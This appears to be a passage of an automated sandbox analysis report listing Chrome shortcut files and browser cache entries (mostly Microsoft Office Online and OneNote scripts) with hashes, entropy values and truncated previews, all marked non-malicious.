Preview:	L..................F.@.. ...$+.,.....Z}Bp...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............2>s.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jul 16 10:06:51 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.981003128312078
Encrypted:	false
SSDEEP:	48:8tdHTf9VHHfidAKZdA1hehBiZUk1W1qehEy+C:8nRVw9ky
MD5:	D0CCC647CAD9C5D2AD6CB42B5EAE3F88
SHA1:	9C0509C260D1994C7B2819CB29B5CDFE771AC649
SHA-256:	2E82CBBC40D6EA3C5AA9C0A1B310FA5449E1CC3FE12F1AA843A601B1ADA520EA
SHA-512:	2ADE4006E856CD2CEC1E6497C0A64730804C2F31F02ED709B3B6DA6599CEF898F8B8FDD711779A1F6EAB71D8C8FB1C61EFC04880AA0F7606D9F494FF46CC395F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....%.Bp...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............2>s.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jul 16 10:06:51 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.989833661462299
Encrypted:	false
SSDEEP:	48:8CdHTf9VHHfidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbmy+yT+:8+RV+T/TbxWOvTbmy7T
MD5:	391FE828AA5D9B2AF89A76F81E765599
SHA1:	C7AA209D985C411D68223B9385F6D7B96924558D
SHA-256:	FB0EA39643C122C67400DFDBF4AE2A12072A40AA2E8EF2D1EF0EF9982BB6F105
SHA-512:	5AB15B8EC163C75DCADF8A996BE12C0B0F80A870DE0D0B05BF466CDB8B6816CADD3D8B3D11626EC272E5F4521C0EBA657B6AFD1EC019D3D7128478830797A11A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....CuBp...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.X....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.X....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.X....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.X..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.X...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............2>s.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65340), with no line terminators
Category:	downloaded
Size (bytes):	697333
Entropy (8bit):	5.412753619740137
Encrypted:	false
SSDEEP:	6144:+ilNI37SPjNu6G2rdCNA9OgouePS9TWuOBp8IN+GEo18xiqIqHFTndLlY:aSBu6Gi4AQgtRTnPY
MD5:	B9C2125FFE26B5AE4D3E5973A7503460
SHA1:	429E461A55A77A7E7D65744B8B3435DF8D77D187
SHA-256:	02982CF35F997363757B07197B765AED7BF42C876939B501A08DD5CDBD31ED29
SHA-512:	23201E72ACAC7666CC0F5BE53E4D6D477AC8E248EB31DB1C87982CEBA4063DD28003304CBEAF7637B51742AA94FCBB6AC76C2C8B36DBC10F5669DCA74DB99583
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/uiSlice20.min.js
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,a){try{var s=e[i](a),l=s.value}catch(e){return void o(e)}s.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function a(e){asyncGeneratorStep(i,n,r,a,s,"next",e)}function s(e){asyncGeneratorStep(i,n,r,a,s,"throw",e)}a(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	148288
Entropy (8bit):	5.266187432840454
Encrypted:	false
SSDEEP:	3072:I4HhflQciRXtgsE1Egb4khbDIKDl1Ka6qAoi:I4HhflQci3qEgb4khbDIKDl1Ka6qAoi
MD5:	85359869563F9555214D7A048CA382AE
SHA1:	45CDBCDBEFBE7E83B42949F1CA7D4CF644BAFF4C
SHA-256:	756C1A64225EE36639E30E50DBB7BC047C9848F661FD23A455FDC6F69BED1D36
SHA-512:	B85C5ACB91C4F05E06E53F500C11EBBBEDF469A81E235723C3C24C52892387C6CEA7C1160A5E13F38B751426C322C8B213950E151BF85201890EAD274368B771
Malicious:	false
Reputation:	low
Preview:	var onenoteSync;!function(){var t={720:function(t,n,e){t.exports=function(){"use strict";var t=function(){return t=Object.assign\|\|function(t){for(var n,e=1,r=arguments.length;e<r;e++)for(var i in n=arguments[e])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t},t.apply(this,arguments)};function n(t,n,e){if(e\|\|2===arguments.length)for(var r,i=0,s=n.length;i<s;i++)!r&&i in n\|\|(r\|\|(r=Array.prototype.slice.call(n,0,i)),r[i]=n[i]);return t.concat(r\|\|Array.prototype.slice.call(n))}var r="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof self?self:"undefined"!=typeof window?window:e.g,i=Object.keys,s=Array.isArray;function o(t,n){return"object"!=typeof n\|\|i(n).forEach((function(e){t[e]=n[e]})),t}"undefined"==typeof Promise\|\|r.Promise\|\|(r.Promise=Promise);var u=Object.getPrototypeOf,a={}.hasOwnProperty;function c(t,n){return a.call(t,n)}function h(t,n){"function"==typeof n&&(n=n(u(t))),("undefined"==typeof Reflect?i:Reflect.ownKeys)(n).forEach((function(e){l(t,e,n[e])}

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1917), with no line terminators
Category:	dropped
Size (bytes):	1917
Entropy (8bit):	4.857442421785386
Encrypted:	false
SSDEEP:	48:l9AK7E4h5qV5j9RXkIgj3oJzXz6WnzWgEAZAdAhATcY7A03LpAQAqAuAIA3UmcY7:e4WvkIC+TzFnbcXLQ1
MD5:	FFC175D47F55E17139466B8D5F7B5597
SHA1:	F179CDF25E0F3F02E6A7506628136EC2BC61EB31
SHA-256:	038A2421C537F9A7FEFA0CBB8FD7A907D53952B424870ACC7939D6A3BCBB7B14
SHA-512:	04BF06DD8E059A8D0D4936947A36D2FF7C8258191B9FA27505894E5411E8D19B3470F16D492A0D6D6BDF4740B156C0D992BE6388BA203897416E1C7FB6739D1C
Malicious:	false
Reputation:	low
Preview:	var OnenoteWhatsnewStrings={WhatsNewDialogTitle:"What's New",GotItButton:"Got it!",ImmersiveReader:"The new Immersive Reader provides students with advanced tools to boost reading skills.",Ink:"Handwrite your notes, annotate documents, or sketch out your next big idea with new drawing tools.",NewNotebook:"You can now create notebooks in OneNote Online.",DragHandles:"Use drag handles to easily move text, reorder a list, swap table rows, and re-position images.",SyncUX:"Click the Page Sync Status button for more information about the sync status of the current page.",NotesFeed:"Open the Feed pane for easy access to your OneNote pages, Samsung notes, and sticky notes.",TwoPaneNavigation:"You can hide the navigation pane to focus on the current page or show the navigation pane to switch between your pages, sections, and notebooks.",ReactMLR:"Expand the ribbon to easily find OneNote commands, or collapse it again to maximize your note-taking space.",LearnMoreLinkText:"Learn More",CanvasZoom

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65457)
Category:	downloaded
Size (bytes):	139441
Entropy (8bit):	5.329801564325469
Encrypted:	false
SSDEEP:	1536:3rekafzVM8v4ZvE3DUJ/N0SoY+2d2j6Cha18suGEYE4yH/OqUGtTzLBJDT:7ekl8v4ZvEQUSov2dqha1JefOMp1JP
MD5:	C97878DF07C09819786DB77BF84E0423
SHA1:	464217652070333135DCB59C10449B83FC00AEE2
SHA-256:	AAC3B85E973D094FA9EE03F6112A55A013FE87A5388E403DD23513D703C4C9D5
SHA-512:	90AF2247CE387EF3CAA6C3B0FD07161AD3C0B538E3919CF50DB664E5FB89068BCB63089BD10A0B5046BE83BA28D6E5482E11C8E4D67D9C399BC9E3524E473422
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/sp-client/odsp.1ds/odsp.1ds.lib-6a403d98.js
Preview:	/! For license information please see odsp.1ds.lib-6a403d98.js.LICENSE.txt /."use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([["odsp.1ds.lib"],{"1ds-lib":function(e,t,n){n.r(t),n.d(t,{_InMemoryPropertyStorage:function(){return Is},_OneDSLogger:function(){return Ds}});var a={};n.r(a),n.d(a,{optionalDiagnostic:function(){return rs},requiredDiagnostic:function(){return is},requiredService:function(){return os}});var i=function(e,t){return i=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},i(e,t)};function r(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function n(){this.constructor=e}i(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var o=function(){return o=Object.assign\|\|function(e){for(var t,n=1,a=arguments.length;n<a;n++)for(var i i

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	220466
Entropy (8bit):	5.641180814862704
Encrypted:	false
SSDEEP:	3072:NtUG18et03/Oh3v3r9Uz1OLYXm151YrES17lndwCTNwVx0ehZwTKlYagjii4:N6G1Pt032h3fr+1OLYXmxg7wWxO8jii4
MD5:	899FE9A00C0786B96E4F3BB3D81FD45E
SHA1:	1F1B9BC1BF4B9132D3F1F8E7AD5235BF03D1B324
SHA-256:	3D69FD22D7D34DD8572A7ABA6AE490DF4AF6891F18370B34447EB99AB8925422
SHA-512:	0EE3E84A0F8AADA5906E5CE7353C7D46AA1FB2D823F31E9EF7E28B217BC0390B5AFFD8D0A182BB938FC179E3E1A097E53FA95225BEBD121980DAA4FD17656565
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/1033/OneNoteSimplified.Wac.TellMeModel.js
Preview:	var TellMeModel={"m":{"":76},"t":[0,7,7,7,7,7,7,7,7,7,7,7,7,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,7,2,10,10,10,7,4,4,4,4,4,4,4,4,4,4,7,7,7,7,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,7,7,7],"n":[336,423,426,429,432,435,438,442,445,448,451,454,457,460,481,510,519,528,537,550,563,572,581,590,599,612,625,638,651,664,677,686,699,712,725,734,747,760,773,786,799,812,825,841,859,883,907,928,957,978,991,1004,1024,1045,1055,1065,1086,1095,1105,1114,1124,1134,1155,1189,1194,1199,1206,1

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1551523
Entropy (8bit):	5.420848223398233
Encrypted:	false
SSDEEP:	24576:LKYsBU/YmOJrmbCjYDvpttZwJbhTJrSK4VxjPHRYOI+AmOkmMOkxQYFQZMjh5RR0:+YsBUAJrmbCcDvpttZwJbhTJrSK4Vxj4
MD5:	A714CF3CDAACD2A2F8985CF2D4FF9C10
SHA1:	50BBCEA2846BF9E3956B1596E07961AFF9C9EFF0
SHA-256:	8ADCBF3FE903537D4857659EA131451CC882904BBD921E47F55DCEB13F6E6E5F
SHA-512:	88FB8DBA23C22FE6B2DF51E961DC8AF227A7E23E8CCBC3F19CD36ED20EE38F6A27D53CF0F00BB532F1BF82A2E21202F345CC4BD3D84486A47CF077EABC61573A
Malicious:	false
Reputation:	low
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,a){try{var s=e[i](a),l=s.value}catch(e){return void o(e)}s.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function a(e){asyncGeneratorStep(i,n,r,a,s,"next",e)}function s(e){asyncGeneratorStep(i,n,r,a,s,"throw",e)}a(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	73679
Entropy (8bit):	5.345331273160561
Encrypted:	false
SSDEEP:	768:2mEAABhINqfFi3U+BBZ9rbov8krznXSraMIRF+b+hNH8IBYLd9+yerrwg6ksYcI0:sBhPfQ3pBBZ9n4wQB4XjUQeoSGfUk
MD5:	65F960810895837B06B1D3AE1CCEAEF3
SHA1:	0673F80A70CFB78AD7018E161E3201E80CB71307
SHA-256:	F452E6287DAFD3B632CBFF8533ED5DFC2F6F476C8672B468CF6DCFE321B8C889
SHA-512:	1DB287677E77DF1E62326486EEDA54DAB20A760008180ED93D905029B6361BA06212F62DD366E77435F43F701CC9BBE1DC46234C6201173B75336BA79A41DF26
Malicious:	false
Reputation:	low
Preview:	var oteljs_agave=function(e){var t={};function n(i){if(t[i])return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:i})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)n.d(i,r,function(t){return e[t]}.bind(null,r));return i},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=31)}([function(e,t,n){"use strict";Object.defineProperty(t,"__esModule

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	5.4647615085670616
Encrypted:	false
SSDEEP:	24:hM0mIAvy4WvsqFOa7JZRGNeHX+AYcvP2wk1USdYF9Yk5:lmIAq1UqFOiJZ+eHX+AdP2wyYFOk5
MD5:	D29FA9F2AB3A72F2608E8E82C8C3D1C6
SHA1:	8B21CC06752837B4B6B8FEF8D54F50EB2C7CCA8F
SHA-256:	E1B0A10649C4B92F828523EFC2EBE135EA9488179A2816888D1E84F786202DBF
SHA-512:	824A207E3F5AF4934B7B50FE5E3F8585FAECA571C3C39E510C06DC8FBDF3E64B07811CAAE06239936BDDDDFA4C90E534F03C0DA8147AF9294042DEA6B0FBCB94
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>500 - Internal server error.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1></div>..<div id="content">.. <div class="content-

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30298)
Category:	downloaded
Size (bytes):	105770
Entropy (8bit):	5.392213533794559
Encrypted:	false
SSDEEP:	1536:tnhDmh5cMFNj1rdW3b3hiiE0a8f7ylAbOPL8I:Jdmh5cMFN1ra3hZy8OQOd
MD5:	DA6B9B632467EF7189D0EA7A3DC00679
SHA1:	F5116345491D55E853F46CA355F7BAC920B5EFBE
SHA-256:	8FC9E3D95566966AFD16C726DEFA90826DBAF2DBB17EE3275A18B6E2764B5C19
SHA-512:	15340A6BE36902AF6F61C0EC5E29835C2F7CA87FFC745999E117391DDD2145B4FCEDA64AC0261BA5E494D2A0B7CA73DEE6DAA20882E6B45EF9943820289662B7
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/suiteux-shell/js/suiteux.shell.otellogging.js
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_otellogging_start"),(self["suiteux_shell_webpackJsonp_suiteux-main"]=self["suiteux_shell_webpackJsonp_suiteux-main"]\|\|[]).push([["otellogging"],{69691:function(n,t,e){var r=e(92855),i=e(41230),o=e(54800),u=e(59177),a=e(68128),c=e(78939),s=e(85788),f=e(69988),l=e(25855),d=function(n){function t(){var e=n.call(this)\|\|this;return e.pluginVersionStringArr=[],(0,i.A)(t,e,(function(n,t){n.logger&&n.logger.queue\|\|(n.logger=new o.wq({loggingLevelConsole:1})),n.initialize=function(e,r,i,s){(0,u.r2)(n,(function(){return"AppInsightsCore.initialize"}),(function(){var u=n.pluginVersionStringArr;if(e){e.endpointUrl\|\|(e.endpointUrl=f.S);var l=e.propertyStorageOverride;!l\|\|l.getProperty&&l.setProperty\|\|(0,a.$8)("Invalid property storage override passed."),e.channels&&(0,a.Iu)(e.channels,(function(n){n&&(0,a.Iu)(n,

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57957)
Category:	dropped
Size (bytes):	58000
Entropy (8bit):	5.310968385145406
Encrypted:	false
SSDEEP:	1536:4LKHejeriK/nQH7bif9yhUy1cNtQIl5a4SKv0TUcK://EPiQ/cvlL7v0K
MD5:	33276584A79EF91878C9EA47B8E940D4
SHA1:	B709FD58E9856FF86DE53BE67451B12080D5AA86
SHA-256:	3EBD75A33307DDF61561B93CC0F0EF6DE5B66554E25A630A27536B4A231EA170
SHA-512:	DC71D893AEE4ED31D8B31887417611178AF17D7C2C1740B625B439E2ECF048D8ABAE5C42AB4F35F3C6C5B2349416947E0FCB80B6014F2CBCB10413A8C62F5546
Malicious:	false
Reputation:	low
Preview:	var wacBoot;!function(){"use strict";var e,t,n={},i={};function o(e){var t=i[e];if(void 0!==t)return t.exports;var s=i[e]={exports:{}};return n[e](s,s.exports,o),s.exports}o.m=n,o.d=function(e,t){for(var n in t)o.o(t,n)&&!o.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},o.f={},o.e=function(e){return Promise.all(Object.keys(o.f).reduce((function(t,n){return o.f[n](e,t),t}),[]))},o.u=function(e){return"pasLogger.min.js"},o.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},e={},t="wacBoot:",o.l=function(n,i,s,a){if(e[n])e[n].push(i);else{var r,l;if(void 0!==s)for(var c=document.getElementsByTagName("script"),d=0;d<c.length;d++){var u=c[d];if(u.getAttribute("src")==n\|\|u.getAttribute("data-webpack")==t+s){r=u;break}}r\|\|(l=!0,(r=document.createElement("script")).charset="utf-8",r.timeout=120,o.nc&&r.

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3290
Entropy (8bit):	5.895460726438132
Encrypted:	false
SSDEEP:	96:J/bwRFZ1ZdpIOUmURqcJHFowRWJKanp15KW:J/bwRFTuObcZxWJKap15KW
MD5:	3A086789DBE806DC59E22D10A6555300
SHA1:	D288FF3F83417AFAEF978D00F739E164427EA2FA
SHA-256:	E23D69AA104B4C123CD52CF3BBB1C820E3730AE6754E4DFE8DE8FD1882F759A2
SHA-512:	0A88DA0C7821A7D9356C57BA6990216C544A1439CAE1B3AD80F799824D0E78327A9FDF19A0A593B46291772063A17DCD5024D581B5AB6DD9891DF60B0E4A604A
Malicious:	false
Reputation:	low
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/msit/100/manifest.json
Preview:	{"clientVersion":"20240710.4","files":{"owl.js":["owl.0d1f1b153d771ea86590.js","sha384-WJbb26HxcwZAdvGAWxTNq4gXLnaXXAGyoeUR4LKLcU9adgbbcNzccHQHd6BbPEaU"],"owl.slim.js":["owl.slim.6a7c2b86e1c3aace8110.js","sha384-Rxexw0bIdCp+OXqRW0sDqEsOXXESzmlu/NVLnoBooLC5Iu+ooF7mgukqtyaLbIxf"],"owlnest.js":["owlnest.d4249494fd37a98c74fb.js","sha384-VSlflz0kT45rNfUrAoRFLoyF4rK74n11s/HeKWtr97pZzHViCaCdH/Xlsoyqq41t"],"authwebworker.js":["authwebworker.771be0ccf22bcb304e1d.js","sha384-fLNxOfQ7OazW304wFpxOvDT4/cBBf1hcA4F0PjMf78Js0r8FgHO5nQz/qDCAKSaL"],"sharedauthclient.js":["sharedauthclient.b21449b5dd90a34fb122.js","sha384-CbSKmlHIyYTh2QeBIwEyGFPE8lmYEJT45IL0Hc9VvAki9KlEgsOH9pH+yRPKfVnx"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.f335f2a65b7bd482b5be.js","sha384-HKxSqP82hYJtD8xRm6HsLjhR2CAGWI0oKuYFkMRg1Tt+8y496UFAn3ygZzeQg38J"],"sharedauthclientmsal.js":["sharedauthclientmsal.c91ba253b5567e61379b.js","sha384-hsZIHUoG/N70URpos5UtKR+tHYUbXt/1qwKO0IdWrFJZ22PRzjseZXsDlfOzeHKN"],"sharedaut

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20946), with CRLF line terminators
Category:	dropped
Size (bytes):	21179
Entropy (8bit):	4.946956269702156
Encrypted:	false
SSDEEP:	384:OZKKcZ2dMMj+hS6rLg4dHg15dR7tV6NvQLsljRei:OZ7j+w6rLg3HtsNvLhRei
MD5:	92A3DDF4C14AF9EB4DB2939A2B2712AC
SHA1:	81B322775A3E9E9335FB780179B6B922759CE6FF
SHA-256:	5B6D3F98F8A755878F226B38FDB1F7C31E67B456221F253B70F95AA331668594
SHA-512:	1A61A585D707BFC1E78B8734A89D1C73673324E1ABF5CF579799D73860A5160119FDCD2C910C8B77C827C42E76D1A7FEEA2D43E9ADBD3B95223514A34E563D61
Malicious:	false
Reputation:	low
